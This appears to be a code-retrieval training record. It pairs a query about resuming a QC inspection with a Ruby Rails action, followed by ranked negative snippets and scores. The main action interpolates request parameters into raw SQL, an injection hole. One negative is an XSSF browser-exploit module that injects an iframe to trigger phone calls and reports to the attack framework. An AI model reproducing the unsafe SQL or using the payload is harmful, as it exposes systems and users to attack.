"def create_programs_for_education_organization(ed_org_type, sponsor)\n programs = []\n avg = @scenarioYAML[\"AVERAGE_NUM_PROGRAMS\"][ed_org_type]\n min = (avg * (1 - @scenarioYAML[\"AVERAGE_NUM_PROGRAMS_THRESHOLD\"])).round\n max = (avg * (1 + @scenarioYAML[\"AVERAGE_NUM_PROGRAMS_THRESHOLD\"])).round\n num = DataUtility.select_random_from_options(@prng, (min..max).to_a)\n (1..num).each do\n @unique_program_id += 1\n programs << {:id => @unique_program_id, :type => get_random_program_type, :sponsor => sponsor}\n end\n programs\n end",
"def show\n @code_case = @code_solution.code_case\n end",
"def search_for_formal_shirt(item_code)\n fail \"INTERNAL ERROR: In method call to 'search_for_formal_shirt' no Item Code (SKU) was specified\" if item_code == nil\n self.search_text = item_code\n submit_search\n fail \"\\nERROR: Check the 'scenario' data table for this 'feature'. The formal shirt item code is set to '#{item_code}' and cannot be found.\" if Capybara.current_session.current_url.include? SEARCH_NO_RESULTS_URL_IDENTIFIER\n return FormalShirtsItemDetailPage.new(@page,@country)\n end",
"def evss_claims_process_type(form526)\n if form526['bddQualified']\n return 'BDD_PROGRAM'\n elsif form526['standardClaim']\n return 'STANDARD_CLAIM_PROCESS'\n end\n\n 'FDC_PROGRAM'\n end",
"def create\n @program = Program.new(params[:program])\n @program.sport_class_name = params[:program][:sport_class_name]\n @program.account = current_account\n\n flash[:notice] = 'Program was successfully created.' if @program.save\n respond_with(:admin, current_account, @program)\n end",
"def appname\n fetch(:appname) || script_name\n end",
"def set_exercise_program\n @exercise_program = ExerciseProgram.find(params[:id])\n end",
"def jurisdiction_name oc_code\n oc_code = \"oc_#{oc_code}\" unless oc_code.to_s.match?(/^oc_/)\n Card.fetch_name oc_code.to_sym\nend",
"def get_pdf_attributes_app_name()\n app_name = \"PDF Attributes\"\n return app_name\nend",
"def id(prog); @progs[prog]; end",
"def explain_application_info(org_text)\n retval = {} # Default\n return retval unless org_text\n\n if org_text.match('Application = ')\n appl = SyspApplication.get_cached_instance(org_text.split(' ')[2].to_i)\n if appl\n retval[:short_info] = appl.name\n retval[:long_info] = \"#{appl.description} >> Team: #{appl.developmentteam.name}\"\n else\n retval[:short_info] = \"Application not found for #{org_text}\"\n end\n end\n\n if org_text.match('ID_WSMethod = ')\n ws = Wsmethod.get_cached_instance(org_text.split(' ')[2].to_i)\n if ws\n retval[:short_info] = ws.name\n retval[:long_info] = \"#{ws.name}\"\n else\n retval[:short_info] = \"WSMethod not found for #{org_text}\"\n end\n end\n\n if org_text.match('ID_OFMsgType = ')\n mt = Ofmessagetype.get_cached_instance(org_text.split(' ')[2].to_i, session[:database].hash)\n if mt\n retval[:short_info] = mt.name\n retval[:long_info] = \"#{mt.description} >> Domain: #{mt.domain.name}\"\n else\n retval[:short_info] = \"OFMessagetype not found for #{org_text}\"\n end\n end\n\n\n\n retval\n end",
"def auto_complete_for_hipaa_code_hipaa_adjustment_code\n hipaa_code = params[:hipaa_code][:hipaa_adjustment_code]\n auto_complete_for_hipaacode(hipaa_code)\n end",
"def question_type_name(question)\n Questiontype.find(question.questiontype_id).name\n end",
"def question_type\n @type = params[:type]\n end",
"def programme_type_params\n params.require(:programme_type).permit(:name, :description)\n end",
"def create_program_params\n params.require(:program).permit(:name)\n end",
"def programmes_for_electrification1_params\n params.require(:programmes_for_electrification1).permit(:Project_Component_under_R_APDRP, :Outlay, :Expenditure_incurred)\n end",
"def ask_name\n question = I18n.t :application_name, scope: :negroku\n Ask.input question, default: File.basename(Dir.getwd)\n end",
"def show\n unless params[:project_name].blank? || params[:program_name].blank?\n program = Program.find_by_program_name(params[:program_name])\n unless program.blank?\n @projects = Project.where('program_id = :program_id and project_name = :project_name',\n { project_name: params[:project_name], program_id: program.id }).to_a\n end\n else\n @projects = Project.where('id = :id', { id: params[:id] }).to_a\n program = Program.find(@projects[0].program_id)\n end\n unless @projects.blank?\n # get all the submissions for the current user\n @submissions = Submission.associated(@projects.map(&:id), current_user_session.id)\n \n # set the current project to the first item in the @projects list (see above)\n set_current_project(@projects[0])\n @project = current_project\n\n # get all the assigned_submission_reviews for the current user\n @assigned_submission_reviews = nil\n submission_reviews = current_user_session.submission_reviews\n @assigned_submission_reviews = submission_reviews.this_project(@project.id) unless submission_reviews.blank?\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @project }\n end\n else\n redirect_to projects_url\n end\n end",
"def get_meeting_program_name\n meeting_program ? meeting_program.get_meeting_program_name : '?'\n end",
"def edit\n @application_qualification = GcseQualificationDetailsForm.build_from_qualification(\n current_application.qualification_in_subject(:gcse, subject_param),\n )\n @qualification_type = @application_qualification.qualification.qualification_type\n end",
"def on_request_uri(cli, req)\n\t\tcode = %Q{\n\t\t\tdocument.body.innerHTML = \"<iframe src=tel:#{datastore['phoneNumber']}></iframe>\";\n\t\t\tXSSF_POST(\"Phone call launched\",'#{self.name}');\n\t\t}\n\t\t\n\t\tsend_response(cli, code)\n\tend",
"def find(type, name, opts={})\n \n defaults = {\n :nav_homepage => true,\n :course_description => '',\n :course_number => ''\n }\n \n opts = defaults.merge(opts)\n \n # Navigate to Curriculum Mgmt\n self.homepage() unless(!opts[:nav_homepage])\n \n \n # Search Criteria\n if(type == \"proposal\")\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|13|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|648421FAE6C751B6B3D6A2EC5262F586|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.core.search.dto.SearchRequest|org.kuali.student.core.search.dto.SearchRequest/3917446114|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.core.search.dto.SearchParam/3876231949|proposal.queryParam.proposalOptionalName|#{name}|proposal.search.generic|proposal.resultColumn.proposalOptionalName|1|2|3|4|1|5|6|0|7|0|8|1|9|10|0|11|12|13|0|0|\"\n }\n )\n elsif(type == \"course\")\n # Only searching by title/name\n contents = (name == '' ? \"5|0|13|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|648421FAE6C751B6B3D6A2EC5262F586|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.core.search.dto.SearchRequest/3917446114|java.lang.Integer/3438268394|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.core.search.dto.SearchParam/3876231949|lu.queryParam.luOptionalType|kuali.lu.type.CreditCourse|lu.search.generic|org.resultColumn.orgShortName|1|2|3|4|1|5|5|6|10|7|0|8|1|9|10|0|11|12|13|0|6|0|\" : \n \"5|0|15|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|648421FAE6C751B6B3D6A2EC5262F586|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.core.search.dto.SearchRequest/3917446114|java.lang.Integer/3438268394|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.core.search.dto.SearchParam/3876231949|lu.queryParam.luOptionalLongName|#{name}|lu.queryParam.luOptionalType|kuali.lu.type.CreditCourse|lu.search.generic|org.resultColumn.orgShortName|1|2|3|4|1|5|5|6|10|7|0|8|2|9|10|0|11|9|12|0|13|14|15|0|6|0|\")\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => contents\n }\n )\n\n end\n \n end",
"def show\n @program = ProgramPrep.where(trainer_profile_id: current_user.trainer_profile.id, user_id: params[:id], status: \"stored\")\n @user = User.find_by()\n @programs = Program.where(trainer_profile_id: current_user.trainer_profile.id, user_id: params[:id])\n render \"show.html.erb\"\n end",
"def lecturers_programme\n mypost = Position.find(:first, :conditions => ['staff_id=?',staff_id])\n myunit = mypost.unit\n postbasics=['Pengkhususan', 'Pos Basik', 'Diploma Lanjutan']\n post_prog=Programme.find(:all, :conditions => ['course_type IN(?)', postbasics])\n dip_prog=Programme.find(:all, :conditions => ['course_type=?', 'Diploma']).map(&:name)\n if dip_prog.include?(myunit)\n programmeid=Programme.roots.find(:all, :conditions => ['name=?', myunit]).map(&:id)\n else\n if myunit==\"Pengkhususan\" && roles.map(&:authname).include?(\"programme_manager\")\n programmeid=post_prog.map(&:id)\n elsif postbasics.include?(myunit)\n post_prog.map(&:name).each do |pname|\n @programmeid=Programme.roots.find(:all, :conditions => ['name=?', pname]) if mypost.tasks_main.include?(pname).pluck(&:id)\n end\n programmeid=@programmeid\n else\n programmeid=0 #default val for admin, common_subjects lecturer too\n end\n end\n programmeid\n end"
] |
[
"0.588297",
"0.574445",
"0.5517274",
"0.5400045",
"0.53680587",
"0.53649807",
"0.53577924",
"0.52776587",
"0.52727246",
"0.5230957",
"0.515652",
"0.5150896",
"0.5134106",
"0.50242215",
"0.5013872",
"0.5002085",
"0.49926698",
"0.49716243",
"0.4969445",
"0.49632096",
"0.4943704",
"0.49313384",
"0.48869097",
"0.48833248",
"0.4875292",
"0.4854639",
"0.48445126",
"0.48369738",
"0.48302498",
"0.48271006",
"0.47854248",
"0.47573656",
"0.4755914",
"0.47397828",
"0.4732874",
"0.47242692",
"0.47242692",
"0.47242692",
"0.47230536",
"0.4712666",
"0.47063312",
"0.47048855",
"0.46998304",
"0.46925512",
"0.46918607",
"0.46913564",
"0.46887982",
"0.468844",
"0.46865365",
"0.46843588",
"0.46762285",
"0.46741143",
"0.46741143",
"0.46741143",
"0.46741143",
"0.46741143",
"0.46741143",
"0.46741143",
"0.4673251",
"0.466885",
"0.46687156",
"0.4668565",
"0.46680105",
"0.466632",
"0.4665093",
"0.46615702",
"0.46610084",
"0.4658848",
"0.46540827",
"0.4645421",
"0.46384",
"0.46342847",
"0.46323994",
"0.4628815",
"0.46267283",
"0.4625158",
"0.4625148",
"0.46237132",
"0.4622173",
"0.46179134",
"0.46157622",
"0.46068832",
"0.4605244",
"0.4594984",
"0.4590217",
"0.45871216",
"0.45712334",
"0.45699042",
"0.45683914",
"0.45629975",
"0.4557578",
"0.45477667",
"0.45427",
"0.4540946",
"0.4536981",
"0.45353866",
"0.45343405",
"0.45334706",
"0.45313472",
"0.453127"
] |
0.7682349
|
0
|
CURRENT SEARCH / INSPECTION Convenience action to quickly get back to the inspection the user was working on.
|
def current_qc_inspection
return if authorise_for_web(program_name(params[:id]),'edit')== false
qc_current_inspection = ActiveRecord::Base.connection.select_one("select * from qc_current_inspections
where user_id = #{session[:user_id].id}
and qc_inspection_type_code = '#{params[:id]}'")
if qc_current_inspection.nil? || qc_current_inspection.qc_inspection_id.nil?
redirect_to_index("'You have not yet captured an inspection for #{params[:id]}'", "''")
else
@qc_inspection = QcInspection.find(qc_current_inspection.qc_inspection_id)
params[:id_value] = @qc_inspection.qc_inspection_type.qc_inspection_type_code
params[:id] = @qc_inspection.id
edit_qc_inspection
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_qc_business_context_search\n return if authorise_for_web(program_name(params[:id]),'create')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_business_context_query\n session[:columns_list] = YAML.load(qc_current_inspection.columns_list)\n submit_business_context_search\n end\n end",
"def investigation\n self\n end",
"def search_inspections\n search_business_context( true )\n end",
"def retire\r\n @quest = @kingdom.quests.find(params[:id])\r\n \r\n @quest.quest_status = SpecialCode.get_code('quest_status','retired')\r\n quest_status_change_update\r\n redirect_to :action => 'index', :page => params[:page]\r\n end",
"def closed\n @exercises = current_company.exercises.closed\n flash[:notice] = t('flash.actions.index.notice') if @exercises.empty?\n respond_with(@exercises) do |format|\n format.html { render :action => :index }\n end\n end",
"def get_current_issue\r\n cover_page = @agent.get \"http://www.economist.com/printedition\"\r\n get_issue_from_cover_page(cover_page)\r\n end",
"def back_track()\n @ole.BackTrack()\n end",
"def complete_investigation; end",
"def new_infection\n new_infections.shift\n end",
"def current_qc_tests\n return if authorise_for_web(program_name(params[:id]),'edit')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet listed tests for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_tests_query\n session[:columns_list] = YAML.load(qc_current_inspection.tests_columns_list)\n submit_tests_search\n end\n end",
"def back\n fetch(\"_sahi.go_back()\")\n end",
"def back\n\n workitem_id = params[:id]\n\n Densha::Locks.unlock_workitem(session[:user], workitem_id) if workitem_id\n\n session[:workitem] = nil\n\n return_to_previous_page\n end",
"def revert_complete\n QcInspection.transaction do\n self.set_status STATUS_IN_PROGRESS\n end\n end",
"def index\n \t@current_actions_from_user = Action.find(:all, :conditions=>[\"person_id=? and progress in('open','in_progress')\", current_user.id], :order=>\"creation_date\")\n \t#@recent_current_actions_from_user = @current_actions_from_user.select { |action| (Time.now - action.creation_date) < 72}\n end",
"def status_return\n @capacities_list_window.unselect\n @status_window.activate\n @help_window.clear\n set_controls_help\n end",
"def uncomplete\n @project.uncomplete!\n respond_to do |format|\n format.html { redirect_to request.referer||project_path(@project), notice: 'Project uncompleted successfully!' }\n format.json { head :no_content }\n end\n end",
"def toggle\n @interest= Interest.model_toggle(params[:id])\n @interests = Interest.get_all_interests\n @deleted = Interest.is_deleted(params[:id])\n if !@deleted \n $savedinterest = true\n# if the interest was deleted and the admin restored it successfully a flash appears endicating that\n flash[:success] = \" Interest restored successfully $green\"\n else\n# if the interest wasn't deleted and the admin blocked it successfully a flash appears endicating that\n flash[:error] = \" You have just blocked this interest $red\"\n\n\n end\n# finally , we redirect to the main interest's page after adjusting the changes\n redirect_to @interest\n end",
"def current_research\n \t@current_research ||= Research.find(session[:research_id]) if session[:research_id]\n end",
"def fine_print_return\n redirect_back key: :fine_print_return_to\n end",
"def opened\n @exercises = current_company.exercises.opened\n flash[:notice] = t('flash.actions.index.notice') if @exercises.empty?\n respond_with(@exercises) do |format|\n format.html { render :action => :index }\n end\n end",
"def report_problem_back(text)\n # XXXFIX P3: This could be changed to allow the previous selection to be kept when going back\n link_to(Button.new(text, :class => :w),\n { :url => { :action => 'report_problem', :id => @line_item }, :remote => true },\n { :href => url_for(:action => 'report_problem', :id => @line_item) })\n end",
"def scratch\n @idea = Idea.find(params[:id])\n \n @idea.update_attribute(:scratched, [email protected])\n redirect_back_or ideas_path\n end",
"def autocomplete_work_off\r\n prepare_values\r\n @check_out_time = params[:ot]\r\n if (@check_out_time ==\"\")\r\n @check_out_time = @current_time \r\n end\r\n #check if time is edit\r\n @edit_authorize = 0 if (@this_work.work_out !=nil) \r\n if (@manager_mode == 1 || @edit_authorize == 1)\r\n #validate before save\r\n validate_date(@this_date_str)\r\n validate_work_out(@this_work.work_in_time,@check_out_time)\r\n if (@error_message == nil)\r\n @old_hours = (@this_work.work_hours==nil) ? \"\" : @this_work.work_hours\r\n check_out(@check_out_time)\r\n end\r\n else\r\n @error_message = l(:ts_error_not_authorize) \r\n end\r\n render(:layout=>false)\r\n end",
"def get_current_inspection_record( user_id, qc_inspection_type_code )\n ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{user_id}\n and qc_inspection_type_code = '#{qc_inspection_type_code}'\")\n end",
"def show\n @issue = Issue.find(params[:id])\n #check if you can edit the issue\n @project = Project.find(params[:project_id])\n @canEdit = isOwner(@project)\n #where to redirect to\n session[:return_to] ||= request.referer\n end",
"def on_investigation_end; end",
"def on_investigation_end; end",
"def reopened(usr, from=nil, till=nil)\n query_issues(jql_reopened usr, from, till)\n end",
"def pop\n \[email protected]\n\trender :json => {:result => \"Error\", :message => \"Not implemented\"}\n end",
"def closed_goggle_cup\n unless ( params[:id] ) && GoggleCup.exists?( params[:id].to_i )\n flash[:error] = I18n.t(:invalid_action_request)\n redirect_back( fallback_location: root_path ) and return\n end\n\n # Gets closed goggle cup\n @closed_goggle_cup = GoggleCup.find( params[:id].to_i )\n @team = @closed_goggle_cup.team.decorate if @closed_goggle_cup\n\n\n @tab_title = @closed_goggle_cup.get_full_name\n\n # Gets goggle cup ranks\n @closed_goggle_cup_rank = @closed_goggle_cup ? @closed_goggle_cup.calculate_goggle_cup_rank : []\n end",
"def back\n @driver.navigate.back\n @after_hooks.run\n end",
"def cur_issue\n #debugger\n @issue = PubDate.latest\n redirect_to public_issue_url(:issue_id => d(@issue.date) )\n rescue\n flash.now[:notice] = \"No Latest Issue.\"\n render(:action => 'unknown', :layout => \"admin\", :status => '404')\n end",
"def not_solved\n redirect_to root_path if current_user.sk.pb_solved?(@problem)\n end",
"def turn_back\n\t\tsearch = $app.get_last_request\n\t\twrite search[:phrase]\n\t\t$app.is_back_search = true\n\t\tif search[:thumbnail]\n\t\t\t$app.current_search = search\n\t\t\t$widgets.options_list.start_progression @search_text\n\t\telse\n\t\t\tprocess_search\t\n\t\tend #if\n\tend",
"def current_status\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t\t@report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\t \n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t if request.post? or session[:report_q_string].present?\n\t \tq_string = ''\n \t\t\tif request.post?\n \t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n \t\t\t\t@serach_result = search[0]\n \t\t\t\tq_string = search[1]\n \t\t\telse\n \t\t\t \tq_string = session[:report_q_string]\n \t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\n\t \t\t\tend\n \t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n \t\tend\n\tend",
"def back\n navigate.back\n end",
"def back\n navigate.back\n end",
"def back\n navigate.back\n end",
"def current_status_aaa\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t \n\t\tif request.post? or session[:report_q_string].present?\n\t\t\tif request.post?\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tif search[1] != ''\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(search[1])\n\t\t\t\tend\n\t\t\t\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t\t\tend\n\t\t\tend\t\n\t\tend\n\tend",
"def show\n if current_user.is_not_member?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @safety_inspection = SafetyInspection.find(params[:id])\n @safety_item_responses = @safety_inspection.safety_item_responses\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @safety_inspection }\n end\n end",
"def clear_search_status\n !!(@edit&.fetch_path(:adv_search_applied, :text))\n end",
"def toggle_status\n @judge = Judge.find(params[:id])\n authorize @judge\n\n if @judge.active?\n @judge.update_attribute(:status, \"removed\")\n else\n @judge.update_attribute(:status, \"active\")\n end\n redirect_back(fallback_location: result_competition_path(@judge.competition))\n end",
"def change_status_to_in_progress\n user = User.find_by(id: params[:user_id])\n user.send_issue_assigned_email\n issue = Issue.find_by(id: params[:id])\n expert = User.find_by(id: params[:expert_id])\n issue.update_attributes(status: \"inprogress\", expert_id: expert.id)\n flash[:success] = \"Issue status changed to in progress! Assigned to #{expert.username}\"\n redirect_to issues_path\n end",
"def show\n @next_inspection_schedule = @equipment.next_inspection_schedule\n @inspection_histories = @equipment.inspection_schedules.where(schedule_status: ScheduleStatus.of_completed)\n end",
"def filtered_single_interview\n @user_company = JointUserCompany.find_by(user_id: @user.id, company_id: @company.id)\n @user_status = @user_company.status\n @submissions = @interview.submissions.where(current_no: 500, status: params[:status].to_i).paginate(:page => params[:page], :per_page => 24).order('created_at DESC')\n @meg = params[:status].to_i\n if (@meg == 0 )\n @peg = \"Shortlist\"\n @prefiled_mes = \"In response to the Interview you took with our company, we glad to inform you have been shorlisted\"\n elsif(@meg == 2)\n @peg = \"Reject\"\n @prefiled_mes = \"Thank you for taking interview with us.\n However, you did not make the final list\n We wish you best in future endeavors\"\n end\n render :action => 'single_interview_submissions', :layout => 'single_interview_submissions'\nend",
"def revert\n remove_from_approved_tickets_count\n @application.update_attributes(status: 'pending')\n redirect_to admin_event_path(@application.event_id),\n flash: { info: \"#{ @application.name}'s application has been changed to pending\" }\n end",
"def pending\r\n\t\t\t# Author\r\n\t\t\tauthorize! :manage, Project\r\n\r\n\t\t\t@projects = Project.pending_search_with_params interact: 'desc'\r\n\r\n\t\t\trender layout: 'layout_back'\r\n\t\tend",
"def go_back\n \n if current_user.google\n @access_token = current_user.google.client\n \n # TODO: move the url to a configuration file YAML\n @string = @access_token.get('https://www.google.com/m8/feeds/contacts/default/full?max-results=1000');\n \n doc = REXML::Document.new(@string.body.to_s)\n \n @suggestions = []\n \n doc.elements.each('feed/entry') do |e|\n if e.elements['gd:email']\n email = e.elements['gd:email'].attributes['address']\n title = e.elements['title'].text || email\n \n # TODO: make the function return the value to be added to suggestions \n # and use inject not each\n process_contact_email title, email\n end\n end \n\n redirect_to :controller => 'friendships', :action => 'index', :finding_people => @suggestions.join(\"-\")\n end\n \n end",
"def current\n add_breadcrumb :current\n @sprint = @project.sprints.find_by_active(true)\n end",
"def destroy\n @interview = Interview.find(params[:id])\n @interview.deactivify\n @interview.destroy\n\n if @interview.application != nil\n @interview.application.reject\n end\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"def on_new_investigation; end",
"def on_new_investigation; end",
"def on_new_investigation; end",
"def current\n @collection.reject(&:applied?)\n end",
"def closed\n render :action => :index\n end",
"def refect\n @suggestion.status = 'Rejected'\n end",
"def parent\n return investigation\n end",
"def refuse\n @presentation.refuse!\n redirect_to admin_submissions_path((@presentation.poster ? :poster : :contributed) => 1), notice: 'The presentation has been unaccepted.'\n end",
"def show\n # fresh_when(@competition)\n end",
"def workshift\n workshifts.find :first,\n :conditions => [\"state <> 'cleared'\"]\n end",
"def show\n if @workout.private and @workout.owner != current_user\n redirect_to :back, alert: \"Private workout, access denied.\"\n end\n\n respond_to do |format|\n format.json { render json: {workout: @workout, exercises: @workout.exercises.select(\"id, name, dur, cat\")}, status: 200 }\n format.html\n end\n end",
"def closeCurrent\n @selPocket = 0\n @page = -1\n @back = false\n @ret = nil\n self.refresh\n end",
"def back\n @agent.history.pop\n end",
"def working\n current_user.chef.toggle(:currently_working).save\n end",
"def change_interest\n user = User.find(params[:id])\n if current_user.interested?(user)\n msg = \"I'm <span>interested</span> in this profile\"\n Interest.delay.delete_all([\"user_id = ? and interestable_id = ? and interestable_type = ?\", current_user.id, user.id, \"User\"])\n NetworkUpdate.removeInterestedUpdate(current_user.id, user.id)\n else\n msg = \"Remove <span>interest</span> in profile\"\n current_user.interest!(user)\n NetworkUpdate.delay.createInterestedUpdate(current_user.id, user.id)\n SneakPeekMailer.delay(:queue => 'mailers').interested_email(current_user, user)\n end\n render :text => msg\n end",
"def retrieve_solved\n\t\trender json: @@problems_solved_shared\n\tend",
"def forget\n search = @user.searches.find(params[:id])\n if search.present?\n search.user_id = nil\n search.save\n go_back notice: I18n.t('blacklight.saved_searches.remove.success')\n else\n go_back error: I18n.t('blacklight.saved_searches.remove.failure')\n end\n end",
"def show_past_location # :nologin: :prefetch: :norobots:\n store_location\n pass_query_params\n if @location = find_or_goto_index(Location, params[:id].to_s)\n if params[:version]\n @location.revert_to(params[:version].to_i)\n else\n flash_error(:show_past_location_no_version.t)\n redirect_to(:action => 'show_location', :id => @location.id)\n end\n end\n end",
"def pending_maintenance_action_details\n data.pending_maintenance_action_details\n end",
"def contest_complete\n contest = pet_contests.where(workflow_state: 'in_arena').last\n apply_experience!(contest)\n end",
"def browse\n todaydate = Time.now.in_time_zone(\"US/Pacific\").to_date\n now = Time.now\n\n # grab upcoming contests that user can enter.\n @contests = Contest.in_range(current_user, todaydate, todaydate+1).eligible(current_user, now)\n \n # for realtime push testing: show fake contests only when user is admin\n if current_user.try(:admin)\n @contests += Contest.where(\"contest_start > ?\", Date.strptime(\"2030\",\"%Y\"))\n end\n\n end",
"def income_not_pending\n return if @income.pending?\n\n flash[:danger] = t \"income.noti.no_edit\"\n return redirect_to admin_incomes_path if current_user.admin?\n\n redirect_to manager_incomes_path\n end",
"def work_in_progress\n has_wip_label = danger_file.github.pr_labels.any? { |label| label.include? 'WIP' }\n has_wip_title = danger_file.github.pr_title.include? '[WIP]'\n\n danger_file.warn('PR is classed as Work in Progress') if has_wip_label || has_wip_title\n end",
"def backtrack\n @state = @backtrack_states.pop\n if @verbose\n puts \"log: backtrack to last valid state\"\n end\n end",
"def status_return\n @slot_window.unselect\n @status_window.activate\n @help_window.clear\n set_controls_help\n end",
"def entire_history\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t @report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\n\t\tif request.post? or session[:report_q_string].present?\n\t\t\t@task_confirmation = false\n\t\t\tq_string = ''\n\t\t\tif request.post?\n\t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tq_string = search[1]\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t @report_serach_result = WorkFlow.entire_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n\n\t\tend\n\tend",
"def forget_past!\n access :unsafe_forget_past!\n end",
